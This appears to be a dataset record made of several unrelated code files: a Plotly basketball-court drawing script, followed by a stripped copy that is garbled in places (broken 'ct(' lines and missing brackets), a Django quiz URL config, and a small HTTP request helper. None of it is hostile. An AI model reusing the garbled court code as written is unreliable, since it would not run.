line=dict(color="#ec7607", width=1),
fillcolor='#ec7607',
), # hoop rect
dict(
type="circle", x0=-7.5, y0=-7.5, x1=7.5, y1=7.5, xref="x", yref="y",
line=dict(color="#ec7607", width=1),
), # hoop circle
dict(
type="line", x0=-30, y0=-12.5, x1=30, y1=-12.5,
line=dict(color="#ec7607", width=1),
), # backboard
dict(type="path",
path=ellipse_arc(a=40, b=40, start_angle=0, end_angle=np.pi),
line=dict(color=main_line_col, width=1), layer='below'), # no-change semi-circle
dict(type="path",
path=ellipse_arc(a=237.5, b=237.5, start_angle=0.386283101, end_angle=np.pi - 0.386283101),
line=dict(color=main_line_col, width=1), layer='below'), # three-point line:arc
dict(
type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
), # three-point line:left edge
# dict(
# type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
# line=dict(color=three_line_col, width=1), layer='below'
# ),
dict(
type="line", x0=220, y0=-52.5, x1=220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
), # three-point line:right edge
dict(
type="line", x0=-250, y0=227.5, x1=-220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
), # midcourt area marker:left
dict(
type="line", x0=250, y0=227.5, x1=220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
), # midcourt area marker:right
dict(
type="line", x0=-90, y0=17.5, x1=-80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=27.5, x1=-80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=57.5, x1=-80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=87.5, x1=-80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=17.5, x1=80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=27.5, x1=80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=57.5, x1=80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=87.5, x1=80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(type="path",
path=ellipse_arc(y_center=417.5, a=60, b=60, start_angle=-0, end_angle=-np.pi),
line=dict(color=main_line_col, width=1), layer='below'), # center circle: half
]
)
return True
def draw_plotly_whole_court(fig, fig_width=600, margins=10):
# From: https://community.plot.ly/t/arc-shape-with-path/7205/5
def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False):
t = np.linspace(start_angle, end_angle, N)
x = x_center + a * np.cos(t)
y = y_center + b * np.sin(t)
path = f'M {x[0]}, {y[0]}'
for k in range(1, len(t)):
path += f'L{x[k]}, {y[k]}'
if closed:
path += ' Z'
return path
fig_height = fig_width * (470*2 + 2 * margins) / (500 + 2 * margins)
fig.update_layout(width=fig_width, height=fig_height)
# Set axes ranges
fig.update_xaxes(range=[-250 - margins, 250 + margins])
fig.update_yaxes(range=[-52.5 - margins, 417.5+470 + margins])
# fig.update_xaxes(range=[ margins, 500 + margins])
# fig.update_yaxes(range=[margins, 470*2 + margins])
threept_break_y = 89.47765084
three_line_col = "#777777"
main_line_col = "#777777"
fig.update_layout(
# Line Horizontal
margin=dict(l=20, r=20, t=20, b=20),
paper_bgcolor="white",
plot_bgcolor="white",
yaxis=dict(
scaleanchor="x",
scaleratio=1,
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
xaxis=dict(
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
# width:500, height: 470
shapes=[
dict(
type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5+470,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
), ## sideline rect
# dict(
# type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5,
# line=dict(color=main_line_col, width=1),
# # fillcolor='#333333',
# layer='below'
# ), ## sideline rect
dict(
type="rect", x0=-80, y0=-52.5, x1=80, y1=137.5,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
),# lane line rect
dict(
type="rect", x0=-60, y0=-52.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
# fillcolor='#333333',
layer='below'
), # foul line rect
dict(
type="circle", x0=-60, y0=77.5, x1=60, y1=197.5, xref="x", yref="y",
line=dict(color=main_line_col, width=1),
# fillcolor='#dddddd',
layer='below'
), # free-throw circle
dict(
type="line", x0=-60, y0=137.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
), # foul line
dict(
type="rect", x0=-2, y0=-7.25, x1=2, y1=-12.5,
line=dict(color="#ec7607", width=1),
fillcolor='#ec7607',
), # hoop rect
dict(
type="circle", x0=-7.5, y0=-7.5, x1=7.5, y1=7.5, xref="x", yref="y",
line=dict(color="#ec7607", width=1),
), # hoop circle
dict(
type="line", x0=-30, y0=-12.5, x1=30, y1=-12.5,
line=dict(color="#ec7607", width=1),
), # backboard
dict(type="path",
path=ellipse_arc(a=40, b=40, start_angle=0, end_angle=np.pi),
line=dict(color=main_line_col, width=1), layer='below'), # no-change semi-circle
dict(type="path",
path=ellipse_arc(a=237.5, b=237.5, start_angle=0.386283101, end_angle=np.pi - 0.386283101),
line=dict(color=main_line_col, width=1), layer='below'), # three-point line:arc
dict(
type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
), # three-point line:left edge
# dict(
# type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
# line=dict(color=three_line_col, width=1), layer='below'
# ),
dict(
type="line", x0=220, y0=-52.5, x1=220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
), # three-point line:right edge
dict(
type="line", x0=-250, y0=227.5, x1=-220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
), # midcourt area marker:left
dict(
type="line", x0=250, y0=227.5, x1=220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
), # midcourt area marker:right
dict(
type="line", x0=-90, y0=17.5, x1=-80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=27.5, x1=-80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=57.5, x1=-80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=-90, y0=87.5, x1=-80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=17.5, x1=80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=27.5, x1=80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=57.5, x1=80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(
type="line", x0=90, y0=87.5, x1=80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
), # lane line marker
dict(type="path",
path=ellipse_arc(y_center=417.5, a=60, b=60, start_angle=-0, end_angle=-np.pi),
line=dict(color=main_line_col, width=1), layer='below'), # center circle: half
## upper
# dict(
# type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5,
# line=dict(color=main_line_col, width=1),
# # fillcolor='#333333',
# layer='below'
# ), ## sideline rect
# dict(
# type="rect", x0=-80, y0=-52.5, x1=80, y1=137.5,
# line=dict(color=main_line_col, width=1),
# # fillcolor='#333333',
# layer='below'
# ), # lane line rect
# dict(
# type="rect", x0=-60, y0=-52.5, x1=60, y1=137.5,
# line=dict(color=main_line_col, width=1),
# # fillcolor='#333333',
# layer='below'
# ), # foul line rect
# dict(
# type="circle", x0=-60, y0=77.5, x1=60, y1=197.5, xref="x", yref="y",
# line=dict(color=main_line_col, width=1),
# # fillcolor='#dddddd',
# layer='below'
# ), # free-throw circle
# dict(
# type="line", x0=-60, y0=137.5, x1=60, y1=137.5,
# line=dict(color=main_line_col, width=1),
# layer='below'
# ), # foul line
#
# dict(
# type="rect", x0=-2, y0=-7.25, x1=2, y1=-12.5,
# line=dict(color="#ec7607", width=1),
# fillcolor='#ec7607',
# ), # hoop rect
# dict(
# type="circle", x0=-7.5, y0=-7.5, x1=7.5, y1=7.5, xref="x", yref="y",
# line=dict(color="#ec7607", width=1),
# ), # hoop circle
# dict(
# type="line", x0=-30, y0=-12.5, x1=30, y1=-12.5,
# line=dict(color="#ec7607", width=1),
# ), # backboard
#
# dict(type="path",
# path=ellipse_arc(a=40, b=40, start_angle=0, end_angle=np.pi),
# line=dict(color=main_line_col, width=1), layer='below'), # no-change semi-circle
# dict(type="path",
# path=ellipse_arc(a=237.5, b=237.5, start_angle=0.386283101, end_angle=np.pi - 0.386283101),
# line=dict(color=main_line_col, width=1), layer='below'), # three-point line:arc
# dict(
# type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
# line=dict(color=three_line_col, width=1), layer='below'
# ), # three-point line:left edge
# # dict(
# # type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
# # line=dict(color=three_line_col, width=1), layer='below'
# # ),
# dict(
# type="line", x0=220, y0=-52.5, x1=220, y1=threept_break_y,
# line=dict(color=three_line_col, width=1), layer='below'
# ), # three-point line:right edge
#
# dict(
# type="line", x0=-250, y0=227.5, x1=-220, y1=227.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # midcourt area marker:left
# dict(
# type="line", x0=250, y0=227.5, x1=220, y1=227.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # midcourt area marker:right
# dict(
# type="line", x0=-90, y0=17.5, x1=-80, y1=17.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=-90, y0=27.5, x1=-80, y1=27.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=-90, y0=57.5, x1=-80, y1=57.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=-90, y0=87.5, x1=-80, y1=87.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=90, y0=17.5, x1=80, y1=17.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=90, y0=27.5, x1=80, y1=27.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=90, y0=57.5, x1=80, y1=57.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
# dict(
# type="line", x0=90, y0=87.5, x1=80, y1=87.5,
# line=dict(color=main_line_col, width=1), layer='below'
# ), # lane line marker
#
# dict(type="path",
# path=ellipse_arc(y_center=417.5, a=60, b=60, start_angle=-0, end_angle=-np.pi),
# line=dict(color=main_line_col, width=1), layer='below'), # center circle: half
]
)
return True
max_freq = 0.002
# freq_by_hex = np.array([min(max_freq, i) for i in league_hexbin_stats['freq_by_hex']])
colorscale = 'YlOrRd'
marker_cmin = 0.1
marker_cmax = 0.6
ticktexts = [str(marker_cmin*100)+'%-', "", str(marker_cmax*100)+'%+']
fig = go.Figure()
# draw_plotly_half_court(fig)
draw_plotly_whole_court(fig)
# fig.add_trace(go.Scatter(
# x=xlocs, y=ylocs, mode='markers', name='markers',
# marker=dict(
# size=freq_by_hex, sizemode='area', sizeref=2. * max(freq_by_hex) / (11. ** 2), sizemin=2.5,
# color=accs_by_hex, colorscale=colorscale,
# colorbar=dict(
# thickness=15,
# x=0.84,
# y=0.87,
# yanchor='middle',
# len=0.2,
# title=dict(
# text="<B>Accuracy</B>",
# font=dict(
# size=11,
# color='#4d4d4d'
# ),
# ),
# tickvals=[marker_cmin, (marker_cmin + marker_cmax) / 2, marker_cmax],
# ticktext=ticktexts,
# tickfont=dict(
# size=11,
# color='#4d4d4d'
# )
# ),
# cmin=marker_cmin, cmax=marker_cmax,
# line=dict(width=1, color='#333333'), symbol='hexagon',
# ),
# ))
# fig.show(config=dict(displayModeBar=False))
# fig.show()
vis_dir='/media/felicia/Data/sgan_results/vis/'
fig.write_image(vis_dir+"court.svg")
| 40.061876 | 123 | 0.478202 | import numpy as np
import plotly.graph_objects as go
def draw_plotly_half_court(fig, fig_width=600, margins=10):
def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False):
t = np.linspace(start_angle, end_angle, N)
x = x_center + a * np.cos(t)
y = y_center + b * np.sin(t)
path = f'M {x[0]}, {y[0]}'
for k in range(1, len(t)):
path += f'L{x[k]}, {y[k]}'
if closed:
path += ' Z'
return path
fig_height = fig_width * (470 + 2 * margins) / (500 + 2 * margins)
fig.update_layout(width=fig_width, height=fig_height)
fig.update_xaxes(range=[-250 - margins, 250 + margins])
fig.update_yaxes(range=[-52.5 - margins, 417.5 + margins])
threept_break_y = 89.47765084
three_line_col = "#777777"
main_line_col = "#777777"
fig.update_layout(
margin=dict(l=20, r=20, t=20, b=20),
paper_bgcolor="white",
plot_bgcolor="white",
yaxis=dict(
scaleanchor="x",
scaleratio=1,
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
xaxis=dict(
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
shapes=[
dict(
type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5,
line=dict(color=main_line_col, width=1),
layer='below'
), ct(
type="rect", x0=-80, y0=-52.5, x1=80, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="rect", x0=-60, y0=-52.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="circle", x0=-60, y0=77.5, x1=60, y1=197.5, xref="x", yref="y",
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="line", x0=-60, y0=137.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="rect", x0=-2, y0=-7.25, x1=2, y1=-12.5,
line=dict(color="#ec7607", width=1),
fillcolor='#ec7607',
),
dict(
type="circle", x0=-7.5, y0=-7.5, x1=7.5, y1=7.5, xref="x", yref="y",
line=dict(color="#ec7607", width=1),
),
dict(
type="line", x0=-30, y0=-12.5, x1=30, y1=-12.5,
line=dict(color="#ec7607", width=1),
),
dict(type="path",
path=ellipse_arc(a=40, b=40, start_angle=0, end_angle=np.pi),
line=dict(color=main_line_col, width=1), layer='below'),
dict(type="path",
path=ellipse_arc(a=237.5, b=237.5, start_angle=0.386283101, end_angle=np.pi - 0.386283101),
line=dict(color=main_line_col, width=1), layer='below'),
dict(
type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
),
dict(
type="line", x0=220, y0=-52.5, x1=220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
),
dict(
type="line", x0=-250, y0=227.5, x1=-220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=250, y0=227.5, x1=220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=17.5, x1=-80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=27.5, x1=-80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=57.5, x1=-80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=87.5, x1=-80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=17.5, x1=80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=27.5, x1=80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=57.5, x1=80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=87.5, x1=80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(type="path",
path=ellipse_arc(y_center=417.5, a=60, b=60, start_angle=-0, end_angle=-np.pi),
line=dict(color=main_line_col, width=1), layer='below'),
]
)
return True
def draw_plotly_whole_court(fig, fig_width=600, margins=10):
def ellipse_arc(x_center=0.0, y_center=0.0, a=10.5, b=10.5, start_angle=0.0, end_angle=2 * np.pi, N=200, closed=False):
t = np.linspace(start_angle, end_angle, N)
x = x_center + a * np.cos(t)
y = y_center + b * np.sin(t)
path = f'M {x[0]}, {y[0]}'
for k in range(1, len(t)):
path += f'L{x[k]}, {y[k]}'
if closed:
path += ' Z'
return path
fig_height = fig_width * (470*2 + 2 * margins) / (500 + 2 * margins)
fig.update_layout(width=fig_width, height=fig_height)
fig.update_xaxes(range=[-250 - margins, 250 + margins])
fig.update_yaxes(range=[-52.5 - margins, 417.5+470 + margins])
threept_break_y = 89.47765084
three_line_col = "#777777"
main_line_col = "#777777"
fig.update_layout(
margin=dict(l=20, r=20, t=20, b=20),
paper_bgcolor="white",
plot_bgcolor="white",
yaxis=dict(
scaleanchor="x",
scaleratio=1,
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
xaxis=dict(
showgrid=False,
zeroline=False,
showline=False,
ticks='',
showticklabels=False,
fixedrange=True,
),
shapes=[
dict(
type="rect", x0=-250, y0=-52.5, x1=250, y1=417.5+470,
line=dict(color=main_line_col, width=1),
layer='below'
),
type="rect", x0=-80, y0=-52.5, x1=80, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="rect", x0=-60, y0=-52.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="circle", x0=-60, y0=77.5, x1=60, y1=197.5, xref="x", yref="y",
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="line", x0=-60, y0=137.5, x1=60, y1=137.5,
line=dict(color=main_line_col, width=1),
layer='below'
),
dict(
type="rect", x0=-2, y0=-7.25, x1=2, y1=-12.5,
line=dict(color="#ec7607", width=1),
fillcolor='#ec7607',
),
dict(
type="circle", x0=-7.5, y0=-7.5, x1=7.5, y1=7.5, xref="x", yref="y",
line=dict(color="#ec7607", width=1),
),
dict(
type="line", x0=-30, y0=-12.5, x1=30, y1=-12.5,
line=dict(color="#ec7607", width=1),
),
dict(type="path",
path=ellipse_arc(a=40, b=40, start_angle=0, end_angle=np.pi),
line=dict(color=main_line_col, width=1), layer='below'),
dict(type="path",
path=ellipse_arc(a=237.5, b=237.5, start_angle=0.386283101, end_angle=np.pi - 0.386283101),
line=dict(color=main_line_col, width=1), layer='below'),
dict(
type="line", x0=-220, y0=-52.5, x1=-220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
),
dict(
type="line", x0=220, y0=-52.5, x1=220, y1=threept_break_y,
line=dict(color=three_line_col, width=1), layer='below'
),
dict(
type="line", x0=-250, y0=227.5, x1=-220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=250, y0=227.5, x1=220, y1=227.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=17.5, x1=-80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=27.5, x1=-80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=57.5, x1=-80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=-90, y0=87.5, x1=-80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=17.5, x1=80, y1=17.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=27.5, x1=80, y1=27.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=57.5, x1=80, y1=57.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(
type="line", x0=90, y0=87.5, x1=80, y1=87.5,
line=dict(color=main_line_col, width=1), layer='below'
),
dict(type="path",
path=ellipse_arc(y_center=417.5, a=60, b=60, start_angle=-0, end_angle=-np.pi),
line=dict(color=main_line_col, width=1), layer='below'),
return True
max_freq = 0.002
colorscale = 'YlOrRd'
marker_cmin = 0.1
marker_cmax = 0.6
ticktexts = [str(marker_cmin*100)+'%-', "", str(marker_cmax*100)+'%+']
fig = go.Figure()
draw_plotly_whole_court(fig)
vis_dir='/media/felicia/Data/sgan_results/vis/'
fig.write_image(vis_dir+"court.svg")
| true | true |
f7261f4f8b69b121e8b4085d991fa58a731f368d | 1,412 | py | Python | cuestionario/urls.py | LisandroCanteros/Grupo2_COM06_Info2021 | 86ad9e08db4e8935bf397b6e4db0b3d9d72cb320 | [
"MIT"
] | null | null | null | cuestionario/urls.py | LisandroCanteros/Grupo2_COM06_Info2021 | 86ad9e08db4e8935bf397b6e4db0b3d9d72cb320 | [
"MIT"
] | null | null | null | cuestionario/urls.py | LisandroCanteros/Grupo2_COM06_Info2021 | 86ad9e08db4e8935bf397b6e4db0b3d9d72cb320 | [
"MIT"
] | 1 | 2021-09-05T23:29:56.000Z | 2021-09-05T23:29:56.000Z | from django.urls import path
from .views import (
CategoriasListView, pagina_principal,
CuestionarioListView, cuestionario_vista, cuestionario_datos,
guardar_resultados, resultado, nuevo_cuestionario, editar_cuestionario, eliminar_cuestionario, nueva_pregunta, nueva_respuesta, agregar_categoria,
)
urlpatterns =[
path("", pagina_principal, name="pagina_principal"),
path("nuevo_cuestionario/", nuevo_cuestionario, name="nuevo_cuestionario"),
path("editar_cuestionario/<str:pk>", editar_cuestionario, name="editar_cuestionario"),
path("eliminar_cuestionario/<str:pk>", eliminar_cuestionario, name="eliminar_cuestionario"),
path("agregar_categoria", agregar_categoria, name="agregar_categoria"),
path("agregar_pregunta/", nueva_pregunta, name="agregar_pregunta"),
path("agregar_respuesta/", nueva_respuesta, name="agregar_respuesta"),
path("categorias/", CategoriasListView.as_view(), name="categorias"),
path("categorias/<str:categoria>/", CuestionarioListView.as_view(), name="categoria-actual"),
path("categorias/<str:categoria>/<int:pk>/", cuestionario_vista, name="cuestionarios"),
path("categorias/<str:categoria>/<int:pk>/jugar", cuestionario_datos, name="jugar"),
path("categorias/<str:categoria>/<int:pk>/guardar/", guardar_resultados, name="guardar_cuestionarios"),
path("resultado/<int:pk>/", resultado, name='resultado'),
]
| 45.548387 | 150 | 0.753541 | from django.urls import path
from .views import (
CategoriasListView, pagina_principal,
CuestionarioListView, cuestionario_vista, cuestionario_datos,
guardar_resultados, resultado, nuevo_cuestionario, editar_cuestionario, eliminar_cuestionario, nueva_pregunta, nueva_respuesta, agregar_categoria,
)
urlpatterns =[
path("", pagina_principal, name="pagina_principal"),
path("nuevo_cuestionario/", nuevo_cuestionario, name="nuevo_cuestionario"),
path("editar_cuestionario/<str:pk>", editar_cuestionario, name="editar_cuestionario"),
path("eliminar_cuestionario/<str:pk>", eliminar_cuestionario, name="eliminar_cuestionario"),
path("agregar_categoria", agregar_categoria, name="agregar_categoria"),
path("agregar_pregunta/", nueva_pregunta, name="agregar_pregunta"),
path("agregar_respuesta/", nueva_respuesta, name="agregar_respuesta"),
path("categorias/", CategoriasListView.as_view(), name="categorias"),
path("categorias/<str:categoria>/", CuestionarioListView.as_view(), name="categoria-actual"),
path("categorias/<str:categoria>/<int:pk>/", cuestionario_vista, name="cuestionarios"),
path("categorias/<str:categoria>/<int:pk>/jugar", cuestionario_datos, name="jugar"),
path("categorias/<str:categoria>/<int:pk>/guardar/", guardar_resultados, name="guardar_cuestionarios"),
path("resultado/<int:pk>/", resultado, name='resultado'),
]
| true | true |
f7262028bb67932989ce287fc4342964d85098d4 | 843 | py | Python | merak/commands/__init__.py | Yao1993/merak | 517b7a8eca82eebbf22bcd3688a79e1e76ed9d42 | [
"Apache-2.0"
] | 16 | 2021-01-22T04:09:30.000Z | 2022-03-17T10:38:34.000Z | merak/commands/__init__.py | Yao1993/merak | 517b7a8eca82eebbf22bcd3688a79e1e76ed9d42 | [
"Apache-2.0"
] | 6 | 2021-04-12T10:09:47.000Z | 2022-03-24T09:31:13.000Z | merak/commands/__init__.py | Yao1993/merak | 517b7a8eca82eebbf22bcd3688a79e1e76ed9d42 | [
"Apache-2.0"
] | 2 | 2021-07-14T05:39:17.000Z | 2021-07-28T16:27:40.000Z | # Copyright 2021 (David) Siu-Kei Muk. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from merak.commands.cythonize import Cythonize
| 42.15 | 80 | 0.709371 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from merak.commands.cythonize import Cythonize
| true | true |
f72620bb64981cc53d557d6184ba036e5477d39e | 2,690 | py | Python | dsp/core/spider.py | gods-view/AdclickIO | ccb73867e568aac5f40bd5890149626ce0be1897 | [
"BSD-2-Clause"
] | null | null | null | dsp/core/spider.py | gods-view/AdclickIO | ccb73867e568aac5f40bd5890149626ce0be1897 | [
"BSD-2-Clause"
] | null | null | null | dsp/core/spider.py | gods-view/AdclickIO | ccb73867e568aac5f40bd5890149626ce0be1897 | [
"BSD-2-Clause"
] | null | null | null | # encoding=utf-8
import sys
from imp import reload
reload(sys)
# sys.setdefaultencoding('utf8')
import os, time
# from configure import config
from datetime import datetime as dt
import requests
# requests.adapters.DEFAULT_RETRIES = 5
# import chardet
class HttpSpider:
headers = {
# 'User-Agent':'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',
# 'Connection':'keep-alive',
# 'Content-Type: application/json'
# "Accept-Encoding":"gzip,deflate"
# "Authorization": "Bearer 5f6f8a89a85b6bde10c69198ca9a2e8ea9f13bf8"
}
def __init__(self):
pass
def show_error(self, error_log, msg):
if error_log is None:
print (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), msg)
else:
error_log.error(msg)
def internal_get(self, url, timeout=5, headers=''):
# print (headers)
# print (type(headers["Authorization"]))
# self.headers = timeouts
# print (type(self.headers["Authorization"]))
if headers == '':
response = requests.get(url, headers=self.headers, timeout=timeout)
else:
response = requests.get(url, headers=headers, timeout=timeout)
# print (response.content)
if response:
return response.status_code, response.text
else:
return response.content, None
def internal_post(self, url, data, timeout=5, headers=''):
# print (data, type(data))
if headers == '':
response = requests.post(url, data, headers=self.headers, timeout=timeout)
else:
response = requests.post(url, data, headers=headers, timeout=timeout)
print (response, response.content)
if response:
return response.status_code, response.text
else:
return response.content, None
def internal_patch(self, url, data, timeout=5):
# print (data)
response = requests.patch(url, data, headers=self.headers, timeout=timeout)
# print (response, response.content)
if response:
return response.content, response.text
else:
return response.content, None
def internal_put(self, url, data, timeout=5, headers=''):
# print (data)
if headers == '':
response = requests.put(url, data, headers=self.headers, timeout=timeout)
else:
response = requests.put(url, data, headers=headers, timeout=timeout)
print (response, response.content)
if response:
return response.status_code, response.text
else:
return response.content, None
| 32.409639 | 89 | 0.612268 |
import sys
from imp import reload
reload(sys)
import os, time
from datetime import datetime as dt
import requests
class HttpSpider:
headers = {
}
def __init__(self):
pass
def show_error(self, error_log, msg):
if error_log is None:
print (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), msg)
else:
error_log.error(msg)
def internal_get(self, url, timeout=5, headers=''):
if headers == '':
response = requests.get(url, headers=self.headers, timeout=timeout)
else:
response = requests.get(url, headers=headers, timeout=timeout)
if response:
return response.status_code, response.text
else:
return response.content, None
def internal_post(self, url, data, timeout=5, headers=''):
if headers == '':
response = requests.post(url, data, headers=self.headers, timeout=timeout)
else:
response = requests.post(url, data, headers=headers, timeout=timeout)
print (response, response.content)
if response:
return response.status_code, response.text
else:
return response.content, None
def internal_patch(self, url, data, timeout=5):
response = requests.patch(url, data, headers=self.headers, timeout=timeout)
if response:
return response.content, response.text
else:
return response.content, None
def internal_put(self, url, data, timeout=5, headers=''):
if headers == '':
response = requests.put(url, data, headers=self.headers, timeout=timeout)
else:
response = requests.put(url, data, headers=headers, timeout=timeout)
print (response, response.content)
if response:
return response.status_code, response.text
else:
return response.content, None
| true | true |
f72622da8b3fb8fe690f929b9dd25369d65cc062 | 17,230 | py | Python | turing_complete_interface/circuit_builder.py | scottanderson/turing-complete-interface | 37d52265a2b7b693c1dc67505bd47622aa0f1e9f | [
"MIT"
] | 4 | 2022-01-23T20:29:16.000Z | 2022-03-20T06:10:47.000Z | turing_complete_interface/circuit_builder.py | scottanderson/turing-complete-interface | 37d52265a2b7b693c1dc67505bd47622aa0f1e9f | [
"MIT"
] | null | null | null | turing_complete_interface/circuit_builder.py | scottanderson/turing-complete-interface | 37d52265a2b7b693c1dc67505bd47622aa0f1e9f | [
"MIT"
] | 1 | 2022-01-28T02:41:25.000Z | 2022-01-28T02:41:25.000Z | from __future__ import annotations
import json
from dataclasses import dataclass, field
from math import inf, sqrt
from queue import PriorityQueue
